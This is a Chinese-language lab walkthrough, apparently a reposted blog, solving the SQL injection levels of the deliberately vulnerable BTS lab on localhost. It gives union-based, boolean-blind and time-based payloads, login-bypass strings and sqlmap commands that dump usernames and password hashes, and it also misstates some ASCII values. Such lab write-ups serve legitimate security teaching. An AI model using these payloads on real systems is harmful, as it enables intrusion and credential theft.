BTS测试实验室 --- SQL注入关攻略

xiaoxiao2025-11-12  25

一. Sql注入1

判断注入点:http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1’ 如下图,报错,存在sql注入

手工注入,

(1)爆字段数:

http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 order by 4,页面返回正常 http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 order by 5,页面报错 说明字段数为4

(2)根据页面回馈查看那几个字段会输出出来

http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,4 由下图可知,2,3,4字段会在页面显示

(3)获取数据库版本,用户名,当前数据库名等信息

http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,database(),version(),user() 得到信息数据库bts,版本5.7.21,用户root

(4)获取数据库中的表

http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1 得到表: messages,posts,tdata,users

(5)获取表users的内容

a. 获取users表中的字段名

http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1 得到users表中的字段名: ID,username,email,password,about,privilege,avatar

b. 获取users表中的字段名

http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,concat_ws(’:’,username,password) from users limit 1,1 这里管理员为admin,密码为MD5加密了,在线解密得到password 改变limit的参数,可以一次获取到用户名及其密码 http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,concat_ws(’:’,username,password) from users limit 2,1 http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 union select 1,2,3,concat_ws(’:’,username,password) from users limit 3,1

2. 认证

万能密码尝试绕过对密码的检验 admin’ or ‘1’=‘1# admin’ or 1# admin’#

3. SQL 盲注1

(1)测试注入

http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and 1=1%23 页面返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and 1=2%23 报错 经过测试发现属于布尔型盲注

(2)判断字段数

http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 order by 5%23,页面返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 order by 8%23,直到测试到8,报错,所以字段数为7

(3)查询数据库

a. 判断数据库名的字符串长度

http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and length(database())>=3%23,页面返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and length(database())>=4%23,页面报错 所以可以知道数据库名的长度为3,

b. 获取数据库名

http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii(substr((select database()),1,1))>97 %23,页面返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii(substr((select database()),1,1))>98 %23,页面报错 所以可以判断出数据库名的第一个字母的ASCII码值为97,即字母b 根据上述方式可以测试出数据库名为bts

(4) 获取数据库中的表

a. 查询数据库bts中有几个表

http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and (select count(table_name) from information_schema.tables where table_schema=‘bts’)>=4%23,返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and (select count(table_name) from information_schema.tables where table_schema=‘bts’)>=5%23 经过测试说明数据库bts中有4个表,

b. 查询数据库中的表名

http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=109%23,页面返回正常 http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=110%23,页面返回错误 说明第一个表名的第一个字母是m(m的ascii码值为110),依次通过该方法可以获得表名messages、posts、tdata、users,盲注用手工注入的方式比较费时,大多数情况下都用sqlmap来注入得到数据。

(5)查询表中的数据

a. 查询表users的字段

http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database()),1,1))>=65%23,页面返回正常,大写字母A的ASCII值是65,根据此方法可以得到users表中的所有字段ID、username、email、password、about、privilege、avatar

b. 查询users表中的各个字段值

这里查询users表中usename的值: http://127.0.0.1/btslab/vulnerability/sqli/UserInfo.php?id=1 and ascii( substr((select group_concat(username) from users),1,1))>=97,页面返回正常 根据这种方法依次可以得到username表中的username和password。

SQL盲注2

(1)判断注入点

http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1 and 1=1%23 返回正常

http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1 and 1=2%23 页面返回发生变化

由此可以判断存在注入。 原以为跟sql盲注1一样,也是布尔型,但是当我接下来查询字段数的时候发现页面不会发生变化,所以判断这并不是布尔型,而是基于时间的盲注 测试payload:http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1 and sleep(5)%23 通过浏览器查看发现,页面确实响应了5秒 判断数据库是不是bts Payload:http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1 and if((select database())=‘bts’,sleep(5),NULL) OK,关于sql盲注2和sql盲注1并没有多大的区别,

(2)这里选用sqlmap来完成这关的内容:

a. 查询数据库

payload:sqlmap -u “http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1” --current-db

b. 查询表

payload:sqlmap -u “http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1” -D bts --tables

c. 查询表users中的数据

payload:sqlmap -u “http://127.0.0.1/btslab/vulnerability/sqli/blindsqli.php?id=1” -D bts -T users --dump

转载请注明原文地址: https://www.6miu.com/read-5039538.html

最新回复(0)